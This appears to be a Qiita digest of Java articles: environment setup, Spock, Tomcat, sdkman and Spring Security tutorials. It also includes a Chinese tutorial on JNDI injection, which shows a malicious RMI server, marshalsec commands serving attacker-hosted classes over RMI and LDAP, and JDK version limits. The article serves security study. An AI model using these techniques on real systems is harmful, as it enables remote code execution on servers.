20200401のJavaに関する記事は13件です。

Windows+VS CodeでSpring Boot環境を作る

やりたいこと

WindowsでSpring Bootを動かす環境を作りたい。
せっかくWindowsでやるならWSL上で作ってそれをVS Codeでよしなに開発するのが今風な気がするのでそれを目指す。
まずはWindows上のみで動かし、そのあとWSL上で動かす。

やったこと

Windows上のみで動かす

OpenJDKのインストール

http://jdk.java.net/14/ からWindows用のJDKをzipでダウンロードして展開する。
出来たフォルダを適当なパスへ移動する。今回はC:\Program Files\Java\jdk-14以下に置いた。

また、システム環境変数に下記を設定する。

変数
JAVA_HOME C:\Program Files\Java\jdk-14
Path 先頭に %JAVA_HOME%bin を追加

VS Codeの設定

拡張機能のインストール

下記をインストールした。

java.homeの設定

settings.jsonに下記のようにJDKのパスを指定する(他に項目があれば追加する形で)。

{
    "java.home": "C:\\Program Files\\Java\\jdk-14"
}

設定画面でjava.homeと入れて検索すると、settings.jsonで編集するリンクが出て来る。

Javaのプロジェクトを試しに作って動かす

Ctrl+Shift+Pでコマンドパレットを開き、Create Java Projectを実行する。
保存場所・プロジェクト名を適当に入力したらプロジェクトが作成されてVS Codeで開かれる。
F5でデバッグ実行して、Hello Javaと表示されるか確認出来ればOK。

Springのプロジェクトを試しに作って動かす

Ctrl+Shift+Pでコマンドパレットを開き、Spring Initiallizr: Generate a Gradle Projectを実行する。
(Mavenで作成してもいいけどGradleで)

依存パッケージはひとまず空で作成して、実行する。デバッグコンソールにSpringのロゴが出て実行されればOK。

WSLで動かす

OpenJDKのインストール

WSL上でOpenJDKをインストールする。
aptコマンドでインストール出来るのはOpenJDK11のようなのでこれを使う。

$ sudo apt update
$ sudo apt install -y openjdk-11-jdk

gradleのインストール

aptで入れると古いようだが、ひとまず入れる。

$ sudo apt install -y gradle

VS Codeの設定

拡張機能のインストール

まず下記をインストールする。

インストール後にWSLターミナルでcodeと打つと、WSLの環境を向いたVS Codeが立ち上がるようになる。
その状態でWindows向けのVS Codeでインストールした拡張機能を改めてインストールする。
※インストールボタンのラベルがInstall in WSL:Ubuntuになる。

java.homeの設定

settings.jsonに設定したjava.homeの値を変更する。

{
    "java.home": "/usr/lib/jvm/java-11-openjdk-amd64"
}

Javaのプロジェクトを試しに作って動かす

Ctrl+Shift+Pでコマンドパレットを開き、Create Java Projectを実行する。
保存場所・プロジェクト名を適当に入力したらプロジェクトが作成されてVS Codeで開かれる。
F5でデバッグ実行して、Hello Javaと表示されるか確認出来ればOK。

Springのプロジェクトを試しに作って動かす

Ctrl+Shift+Pでコマンドパレットを開き、Spring Initiallizr: Generate a Gradle Projectを実行する。
依存パッケージはひとまず空で作成して、実行する。デバッグコンソールにSpringのロゴが出て実行されればOK。

Spring Webを試す

Spring Initiallizrでプロジェクト作成時にSpring Webを利用する設定で作成する。
main()があるApplicationクラスに@RestControllerアノテーションを付け、クラス内に適当に下記のようなメソッドを作成する。

@GetMapping("/")
String home() {
    return "Hello!";
}

アプリケーションを動かし、http://localhost:8080/ にアクセスしてHello!が表示されればOK。
リポジトリ:https://github.com/stamefusa/spring-web-demo

参考にしたエントリ

https://qiita.com/dongsu-iis/items/6c7974022083d3036dc8

https://qiita.com/gitcho/items/a6c0bb781bc395e43ec4
https://qiita.com/gitcho/items/147a3ce2536ae3035bb8

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

spock のセットアップとかの実行順まとめ

まわり見てるとちょいちょいこれでハマっている人がいるので、躓かなくなると良いなと思ってまとめ

さっと

spock

細かい説明は省きますが、setup cleanup がいくつかと、where というテストデータ定義をする箇所があります

結論をさっと
表と絵で

定義 タイミング 備考
setupSpec テスト [クラス] の最初で [一回] 動く static 相当
setup テスト [データ] [ごと] に最初に動く
cleanup テスト [データ] [ごと] に最後に動く
cleanupSpec テスト [クラス] の最後で [一回] 動く static 相当
where テスト [メソッド] の最初で [データ分] 動く static 相当

緑字が static で赤字がそれ以外です、左から読んでね

スクリーンショット 2020-04-01 20.32.17.png

で、何が問題になるの

大きく2つ

static

static 相当なので、例えば@Autowiredしてる変数とかを使った初期化処理はsetupSpec/cleanupSpecでは呼べない

whereからも使えない

やりがちなので注意

実行順

多いのがこっち

特に多いのが now とかを絡めたテストデータの作成において、思った通りのテストデータが作られなくてテストがこけるケース

例えばsetupにシステムクロックの改ざんをするようなコードを書いておいて、whereで now を含むテストデータを作ってパターンテストした場合、
テストデータを作ってからシステムクロックの改ざんという順番になるので、期待通りにならない

その場合はセットアップをsetupSpecに移動しよう

セットアップが static 処理内で行えない場合は、例えばwhere側のデータを{}で囲ってexpect側で()をつけたりすると実行を遅延させられるけど、
テストコードでテクいことをやりたくなる場合は 大抵の場合プロダクトコード(= 設計) がおかしいので、素直にリファクタしよう

さくっとおしまいノシ

おまけ 実行順のところで挙げた例のコードイメージ

これだとmkData() -> setClock()の順で動く

def setup() {
    setClock()
}

def test() {
    expect:
    sut.f(data) == exp

    where:
    data     || exp
    mkData() || ...
}

こうするか、

def setupSpec() {
    setClock()
}

def test() {
    expect:
    sut.f(data) == exp

    where:
    data     || exp
    mkData() || ...
}

こうするとsetClock() -> mkData()の順で動く

def setup() {
    setClock()
}

def test() {
    expect:
    sut.f(data()) == exp

    where:
    data         || exp
    { mkData() } || ...
}

ただ、例えば now に関してはsut.f内部で生成するより引数で渡して揚げる方がずっとテストしやすいので、既存の作りを見直すのに立ち戻った方が良い

def test() {
    expect:
    sut.f(data, date(2020, 3, 1)) == exp

    where:
    data     || exp
    mkData() || ...
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Java】HTTPステータス 400 – Bad Requestの「リクエストヘッダが長すぎます」問題を解決

はじめに

スクリーンショット 2020-04-01 18.33.45.png
上のような問題がでました。

どういう状況の中で出たかというと

Tomcatでサーバーを立ち上げようとしていたとき

に出ました。完全に初歩ですね。RailsでRails sするときに謎のエラーが出る感じです。

サーバーに関してはそんなに知識を持ってなかったので、解決するのにちょっと戸惑いました。解決策を共有したいと思います。

作業環境
・Tomcatバージョン:8.5

参考記事:Tomcat: Request Header too large? Resolved!

結論

「maxHttpHeaderSize="65536"」

これをserver.xmlに追加してください。

もっと具体的な箇所でいうと

スクリーンショット 2020-04-01 18.39.46.png

ここです。ここに追加してください。

スクリーンショット 2020-04-01 18.40.19.png
これで「リクエストが長すぎるよなあ!!」という問題は解決されました。よかったです。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

scala・javaのバージョン管理 ベストプラクティス

scala・javaのバージョン管理 ベストプラクティス

背景

jdk 1.8.0 系のプロジェクトと個人で、最新のjavaとscalaを使用する際にバージョンの切替が必要になりました。
jEnvを使用していたのですが、設定が複雑だったので見直したところ sdkman というバージョン管理ツールがありとても使いやすかったのでご紹介します。

sdkman インストール方法

sdkman インストール方法

curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"
➜  ~ sdk list java                    
================================================================================
Available Java Versions
================================================================================
 Vendor        | Use | Version      | Dist    | Status     | Identifier
--------------------------------------------------------------------------------
 AdoptOpenJDK  |     | 14.0.0.j9    | adpt    |            | 14.0.0.j9-adpt
               |     | 14.0.0.hs    | adpt    |            | 14.0.0.hs-adpt
               |     | 13.0.2.j9    | adpt    |            | 13.0.2.j9-adpt
               |     | 13.0.2.hs    | adpt    |            | 13.0.2.hs-adpt
               |     | 12.0.2.j9    | adpt    |            | 12.0.2.j9-adpt
               |     | 12.0.2.hs    | adpt    |            | 12.0.2.hs-adpt
               |     | 11.0.6.j9    | adpt    |            | 11.0.6.j9-adpt
               |     | 11.0.6.hs    | adpt    |            | 11.0.6.hs-adpt
               |     | 8.0.242.j9   | adpt    |            | 8.0.242.j9-adpt
               |     | 8.0.242.hs   | adpt    |            | 8.0.242.hs-adpt
 Amazon        |     | 11.0.6       | amzn    |            | 11.0.6-amzn
               |     | 13.0.2       | librca  |            | 13.0.2-librca
               |     | 12.0.2       | librca  |            | 12.0.2-librca
               |     | 11.0.6.fx    | librca  |            | 11.0.6.fx-librca
               |     | 11.0.6       | librca  |            | 11.0.6-librca
               |     | 8.0.242.fx   | librca  |            | 8.0.242.fx-librca
               |     | 8.0.242      | librca  |            | 8.0.242-librca
 GraalVM       |     | 20.0.0.r11   | grl     |            | 20.0.0.r11-grl
               |     | 20.0.0.r8    | grl     |            | 20.0.0.r8-grl
               |     | 19.3.1.r11   | grl     |            | 19.3.1.r11-grl
               |     | 19.3.1.r8    | grl     |            | 19.3.1.r8-grl
               |     | 19.3.0.r11   | grl     |            | 19.3.0.r11-grl
               |     | 19.3.0.r8    | grl     |            | 19.3.0.r8-grl
               |     | 19.3.0.2.r11 | grl     |            | 19.3.0.2.r11-grl
               |     | 19.3.0.2.r8  | grl     |            | 19.3.0.2.r8-grl
               |     | 19.2.1       | grl     |            | 19.2.1-grl
               |     | 19.1.1       | grl     |            | 19.1.1-grl
               |     | 19.0.2       | grl     |            | 19.0.2-grl
               |     | 1.0.0        | grl     |            | 1.0.0-rc-16-grl
 Java.net      |     | 15.ea.15     | open    |            | 15.ea.15-open
               |     | 14.0.0       | open    |            | 14.0.0-open
               |     | 13.0.2       | open    |            | 13.0.2-open
               |     | 12.0.2       | open    |            | 12.0.2-open
               |     | 11.0.2       | open    |            | 11.0.2-open
               |     | 10.0.2       | open    |            | 10.0.2-open
               |     | 9.0.4        | open    |            | 9.0.4-open
 SAP           |     | 13.0.2       | sapmchn |            | 13.0.2-sapmchn
               |     | 12.0.2       | sapmchn |            | 12.0.2-sapmchn
               |     | 11.0.6       | sapmchn |            | 11.0.6-sapmchn
================================================================================
Use the Identifier for installation:

    $ sdk install java 11.0.3.hs-adpt
================================================================================

JDK 1.8.0 インストール方法

sdkmanを使用してjavaをインストール

sdk install java 8.0.242.j9-adpt

➜  ~ java -version                                                                                                                                                                                                                              ()
openjdk version "1.8.0_242"
OpenJDK Runtime Environment (build 1.8.0_242-b08)
Eclipse OpenJ9 VM (build openj9-0.18.1, JRE 1.8.0 Mac OS X amd64-64-Bit Compressed References 20200122_439 (JIT enabled, AOT enabled)
OpenJ9   - 51a5857d2
OMR      - 7a1b0239a
JCL      - 8cf8a30581 based on jdk8u242-b08)

サポート一覧

sdkman は, 他にもさまざまなJDK・SDKをサポートしています。
詳細は以下を参照してください

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

java・JDKのバージョン管理 ベストプラクティス

scala・javaのバージョン管理 ベストプラクティス

背景

jdk 1.8.0 系のプロジェクトと個人で、最新のjavaとscalaを使用する際にバージョンの切替が必要になりました。
jEnvを使用していたのですが、設定が複雑だったので見直したところ sdkman というバージョン管理ツールがありとても使いやすかったのでご紹介します。

sdkman インストール方法

sdkman インストール方法

curl -s "https://get.sdkman.io" | bash
source "$HOME/.sdkman/bin/sdkman-init.sh"
➜  ~ sdk list java                    
================================================================================
Available Java Versions
================================================================================
 Vendor        | Use | Version      | Dist    | Status     | Identifier
--------------------------------------------------------------------------------
 AdoptOpenJDK  |     | 14.0.0.j9    | adpt    |            | 14.0.0.j9-adpt
               |     | 14.0.0.hs    | adpt    |            | 14.0.0.hs-adpt
               |     | 13.0.2.j9    | adpt    |            | 13.0.2.j9-adpt
               |     | 13.0.2.hs    | adpt    |            | 13.0.2.hs-adpt
               |     | 12.0.2.j9    | adpt    |            | 12.0.2.j9-adpt
               |     | 12.0.2.hs    | adpt    |            | 12.0.2.hs-adpt
               |     | 11.0.6.j9    | adpt    |            | 11.0.6.j9-adpt
               |     | 11.0.6.hs    | adpt    |            | 11.0.6.hs-adpt
               |     | 8.0.242.j9   | adpt    |            | 8.0.242.j9-adpt
               |     | 8.0.242.hs   | adpt    |            | 8.0.242.hs-adpt
 Amazon        |     | 11.0.6       | amzn    |            | 11.0.6-amzn
               |     | 13.0.2       | librca  |            | 13.0.2-librca
               |     | 12.0.2       | librca  |            | 12.0.2-librca
               |     | 11.0.6.fx    | librca  |            | 11.0.6.fx-librca
               |     | 11.0.6       | librca  |            | 11.0.6-librca
               |     | 8.0.242.fx   | librca  |            | 8.0.242.fx-librca
               |     | 8.0.242      | librca  |            | 8.0.242-librca
 GraalVM       |     | 20.0.0.r11   | grl     |            | 20.0.0.r11-grl
               |     | 20.0.0.r8    | grl     |            | 20.0.0.r8-grl
               |     | 19.3.1.r11   | grl     |            | 19.3.1.r11-grl
               |     | 19.3.1.r8    | grl     |            | 19.3.1.r8-grl
               |     | 19.3.0.r11   | grl     |            | 19.3.0.r11-grl
               |     | 19.3.0.r8    | grl     |            | 19.3.0.r8-grl
               |     | 19.3.0.2.r11 | grl     |            | 19.3.0.2.r11-grl
               |     | 19.3.0.2.r8  | grl     |            | 19.3.0.2.r8-grl
               |     | 19.2.1       | grl     |            | 19.2.1-grl
               |     | 19.1.1       | grl     |            | 19.1.1-grl
               |     | 19.0.2       | grl     |            | 19.0.2-grl
               |     | 1.0.0        | grl     |            | 1.0.0-rc-16-grl
 Java.net      |     | 15.ea.15     | open    |            | 15.ea.15-open
               |     | 14.0.0       | open    |            | 14.0.0-open
               |     | 13.0.2       | open    |            | 13.0.2-open
               |     | 12.0.2       | open    |            | 12.0.2-open
               |     | 11.0.2       | open    |            | 11.0.2-open
               |     | 10.0.2       | open    |            | 10.0.2-open
               |     | 9.0.4        | open    |            | 9.0.4-open
 SAP           |     | 13.0.2       | sapmchn |            | 13.0.2-sapmchn
               |     | 12.0.2       | sapmchn |            | 12.0.2-sapmchn
               |     | 11.0.6       | sapmchn |            | 11.0.6-sapmchn
================================================================================
Use the Identifier for installation:

    $ sdk install java 11.0.3.hs-adpt
================================================================================

JDK 1.8.0 インストール方法

sdkmanを使用してjavaをインストール

sdk install java 8.0.242.j9-adpt

➜  ~ java -version                                                                                                                                                                                                                              ()
openjdk version "1.8.0_242"
OpenJDK Runtime Environment (build 1.8.0_242-b08)
Eclipse OpenJ9 VM (build openj9-0.18.1, JRE 1.8.0 Mac OS X amd64-64-Bit Compressed References 20200122_439 (JIT enabled, AOT enabled)
OpenJ9   - 51a5857d2
OMR      - 7a1b0239a
JCL      - 8cf8a30581 based on jdk8u242-b08)

サポート一覧

sdkman は, 他にもさまざまなJDK・SDKをサポートしています。
詳細は以下を参照してください

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

攻击Java中的JNDI、RMI、LDAP(二)

上文我简述了JNDI,本文我将演示如何攻击JNDI。

JNDI注入

这个东西是BlackHat 2016(USA)的一个议题 "A Journey From JNDI LDAP Manipulation To RCE" 提出的。他的攻击步骤可以概括为以下几步:

  1. 服务端实例化JNDI InitialContext请求attacker的恶意RMIServer
  2. InitialContext初始化期间lookup rmi://attacker/Obj
  3. 恶意RMIServer返回JNDI Reference
  4. 服务端接收到JNDI Reference之后会从恶意RMIServer获取工厂类
  5. 恶意RMIServer返回的工厂类中带有static块的Java代码,造成任意代码执行

攻击JNDI

作者水平有限,本文仅讲述以下几种攻击JNDI的方法。
1. JNDI 配合 RMI Remote Object(codebase)
2. JNDI Reference 配合 RMI
3. JNDI Reference 配合 LDAP

RMI Remote Object

在早期Java是可以运行在浏览器中的,也就是Applet。使用Applet通常需要指定一个codebase参数,比如:

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>

codebase是一个类地址,它告诉Java应该从哪里寻找class,就像classpath一样,但与classpath不一样的是codebase如果从本地加载不到,就会从远程地址中加载。如果codebase地址可控,在RMI中,codebase是和序列化数据一起传输的,所以会造成RCE。

但是codebase需要满足两个条件:

  1. 安装并配置了SecurityManager
  2. Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false

官方将 java.rmi.server.useCodebaseOnly 的默认值由 false 改为了 true 。 java.rmi.server.useCodebaseOnly配置为 true 的情况下,Java虚拟机将只信任预先配置好的 codebase,不再支持从RMI请求中获取。所以这个东西特别鸡肋。

在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。

例如,如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件)

-Djava.rmi.server.codebase=http://url:8080/

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

http://url:8080/com/project/test.class

JNDI Reference配合RMI

看一下演示代码,同样本文仍然使用的是Longofo师傅的代码。

package com.longofo.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
package com.longofo.jndi;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//        Properties env = new Properties();
//        env.put(Context.INITIAL_CONTEXT_FACTORY,
//                "com.sun.jndi.rmi.registry.RegistryContextFactory");
//        env.put(Context.PROVIDER_URL,
//                "rmi://localhost:9999");

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // 下面这行是我自己加的 8u221需要 原因看下文
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Context ctx = new InitialContext();
        DirContext dirc = new InitialDirContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}

在RMIClient1.java中,我把com.sun.jndi.ldap.object.trustURLCodebase设置为true,没加上之前一直不成功,一步一步跟一下才解决问题,看下我的分析步骤:

跟进lookup,然后在javax/naming/spi/NamingManager.java:146会尝试从本地加载类
image.png

如不在classpath中会尝试从codebase加载
image.png

跟进loadClass

public Class<?> loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {
    if ("true".equalsIgnoreCase(trustURLCodebase)) {
        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
            URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    } else {
        return null;
    }
}

发现依据trustURLCodebase的值来判断是否加载,在类的属性中发现trustURLCodebase取决于com.sun.jndi.ldap.object.trustURLCodebase的值。堆栈

loadClass:101, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:24, RMIClient1 (com.longofo.jndi)
private static final String TRUST_URL_CODEBASE_PROPERTY = "com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
    AccessController.doPrivileged(
    new PrivilegedAction<String>() {
        public String run() {
            try {
                return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                                          "false");
            } catch (SecurityException e) {
                return "false";
            }
        }
    }
);

最后的效果就是这样

image.png

在实战用我更倾向于使用marshalsec来起RMI恶意服务,RMI服务端口号默认为1099

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099

你仍然需要自己启动web服务

JNDI Reference配合LDAP

在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389

JNDI注入的JDK版本限制

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。

但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase的限制。

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

一张图来展示JNDI注入的利用方式与JDK版本的关系:

image.png

图引用于 https://xz.aliyun.com/t/6633

小声逼逼:java每个版本的属性多多少少都有点不一样,对于搞安全的来讲实在是太累了:<

已知的JNDI注入

对于JNDI注入,需要注意:

  1. 仅由InitialContext或其子类初始化的Context对象(InitialDirContext或InitialLdapContext)容易受到JNDI注入攻击
  2. InitialContext可以通过JNDI动态协议转换覆盖
  3. InitialContext.rename()和InitialContext.lookupLink()最终也调用了lookup()

还有一些包装类也调用了lookup(),比如:Spring的JndiTemplate。

  1. JtaTransactionManager found by zerothinking
  2. com.sun.rowset.JdbcRowSetImpl found by matthias_kaiser
  3. javax.management.remote.rmi.RMIConnector.connect() found by pwntester
  4. org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName() found by pwntester

这些带佬是真的强...

小结

本文简述了如何攻击JNDI,以及一些限制条件,并且列举了一些已知的JNDI注入,解释了上文中留下来的坑。下文将讲述RMI。

参考链接

  1. https://paper.seebug.org/1091/
  2. Java安全漫谈 - 05.RMI篇(2)
  3. https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
  4. https://xz.aliyun.com/t/6633
  5. https://javasec.org/javase/JNDI/
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Spring-Securityの新規登録とログイン(JPA)

SpringSecurityの設定でハマった

タイトル通りです。初めてSpringSecurityを使って認証処理をしようとしたのですが、見事にハマりました。
参考URLはこちらこちらです。

まずはプロジェクト作成。環境は以下。
Javaバージョン:1.8
FW:Springboot(gradle)
DB:MySQL(アクセスはJPA)
他:WebとかlombokとかThymeleafとか入れてます。

まずはログイン画面を表示

LoginController
package com.example.demo.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;

@RestController
@RequestMapping(value="/login")
public class LoginController {
    @GetMapping
    public ModelAndView login(ModelAndView mav) {
        return mav;
    }
}
login.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:th="https://www.thymeleaf.org"
    xmlns:sec="https://www.thymeleaf.org/thymeleaf-extras-springsecurity5">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>ログイン</title>
</head>
<body>
    <div class="login-form">
        <form th:action="@{/login}" th:method="post">
            <input type="text" name="loginId" id="loginId"><br />
            <input type="password" name="password" id="password"><br />
            <button type="submit" class="login-btn">ログイン</button>
        </form>
    </div>

    <button onclick="location.href='./signup'" class="signup-link">新規登録</button>
</body>
</html>

SpringSecurityの設定ファイル的なやつ

WebSecurityConfig
package com.example.demo.config;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

import com.example.demo.service.UserDetailsServiceImpl;

@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

    @Autowired
    private UserDetailsServiceImpl userDetailsService;

    //パスワードの暗号化
    @Bean
    public BCryptPasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder();
    }

    // フィルタリングしないフォルダやファイル
    @Override
    public void configure(WebSecurity web) throws Exception {
        web.ignoring().antMatchers(
                "/image/**",
                "/css/**",
                "/js/**"
                );
    }

    @Override
    protected void configure(HttpSecurity http) throws Exception {

        // ログイン画面と新規登録画面は誰でも遷移可能
        http.authorizeRequests()
        .antMatchers("/login", "/signup")
        .permitAll()
        .anyRequest().authenticated();

        // ログイン
        http.formLogin()
        .loginPage("/login") //ログインページはコントローラを経由しないのでViewNameとの紐付けが必要
        .loginProcessingUrl("/login") //フォームのSubmitURL、このURLへリクエストが送られると認証処理が実行される
        .usernameParameter("loginId") //リクエストパラメータのname属性を明示
        .passwordParameter("password")
        .successForwardUrl("/top")
        .failureUrl("/login?error")
        .permitAll();

        // ログアウト
        http.logout()
        .logoutUrl("/logout")
        .logoutSuccessUrl("/login")
        .invalidateHttpSession(true)
        .deleteCookies("JSESSIONID", "SESSION", "remember-me")
        .permitAll();
    }

    @Autowired
    public void configure(AuthenticationManagerBuilder auth) throws Exception{
        auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
    }
}

DBにユーザーを登録

DBには適当なアカウントを作成しておく。

SignUpController
package com.example.demo.controller;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;

import com.example.demo.Conversion;
import com.example.demo.form.SignUpForm;
import com.example.demo.service.SignUpService;

@RestController
@RequestMapping(value="/signup")
public class SignUpController {

    @GetMapping
    public ModelAndView signup(ModelAndView mav) {
        return mav;
    }

    @Autowired
    private SignUpService signupService;
    @Autowired
    private Conversion conversion;

    @PostMapping
    public ModelAndView signup(SignUpForm signupForm, ModelAndView mav) {
        signupService.registUser(conversion.signupCon(signupForm));
        mav.setViewName("login");
        return mav;
    }
}
SignUpForm
package com.example.demo.form;

import javax.persistence.Column;
import javax.persistence.Id;

import lombok.Data;

@Data
public class SignUpForm {

    @Id
    private Integer id;
    @Column(name = "login_id")
    private String loginId;
    private String password;
}
signup.html
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
    xmlns:th="https://www.thymeleaf.org"
    xmlns:sec="https://www.thymeleaf.org/thymeleaf-extras-springsecurity5">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>新規登録</title>
</head>
<body>
    <div class="signup-form">
        <form th:action="@{/signup}" th:method="post" th:object="${SignUpForm}">
            <label class="loginId-label">ログインID</label>
            <input type="text" name="loginId" id="loginId"><br />
            <label class="password-label">パスワード</label>
            <input type="password" name="password" id="password"><br />
            <button type="submit" class="signup-btn">登録</button>
        </form>
    </div>
</body>
</html>
UserEntity
package com.example.demo.entity;

import java.util.ArrayList;
import java.util.Collection;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.Table;

import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;

import lombok.Data;

@Data
@Table(name="user")
@Entity
public class UserEntity{
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Integer id;
    @Column(name = "login_id")
    private String loginId;
    private String password;

    public UserEntity(Integer id, String loginId, String password) {
        this.id = id;
        this.loginId = loginId;
        this.password = password;
    }
}

Formで受け取ったパスワードを暗号化してEntityに渡すだけのもの。
Entityだけでやろうとしたけどよく分からなかったので、分かる人教えてください。

Conversion
package com.example.demo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.stereotype.Component;

import com.example.demo.entity.UserEntity;
import com.example.demo.form.SignUpForm;

@Component
public class Conversion {
    @Autowired
    BCryptPasswordEncoder passwordEncoder;

    public UserEntity signupCon(SignUpForm form) {
        return new UserEntity(
                form.getId(),
                form.getLoginId(),
                passwordEncoder.encode(form.getPassword()));
    }
}

あとはServiceでEntityの値をJPAで登録させる。

ハマったポイント①

そもそもThymeleafとかJPAも初めてだったので色々躓きましたが、とりあえずなんとかなった。あとsignupのページをSecurityから外すのとか。

ログイン機能

ここからいよいよログイン認証。SpringSecurityの設定。
UserDetailsServiceの、loadUserByUsernameが認証処理そのものを行うためのものらしい。でもこの引数はString usernameとなっているので、パスワードはここでは判定してない?どうやるかは不明。

UserDetailsServiceImpl
package com.example.demo.service;

import java.util.ArrayList;
import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;

import com.example.demo.entity.UserEntity;
import com.example.demo.repository.UserRepository;

@Service
public class UserDetailsServiceImpl implements UserDetailsService {

    @Autowired
    private UserRepository userRepository;

    // loadUserByUsernameはUserDetailsのメソッド
    @Override
    public UserDetails loadUserByUsername(String loginId) throws UsernameNotFoundException {

        UserEntity loginUser = userRepository.findUser(loginId);

        if (loginUser == null) {
            throw new UsernameNotFoundException("User" + loginId + "アカウントが存在しません");
        }
//       権限の設定(ダミー)
        List<GrantedAuthority> grantList = new ArrayList<GrantedAuthority>();
        GrantedAuthority authority = new SimpleGrantedAuthority("USER");
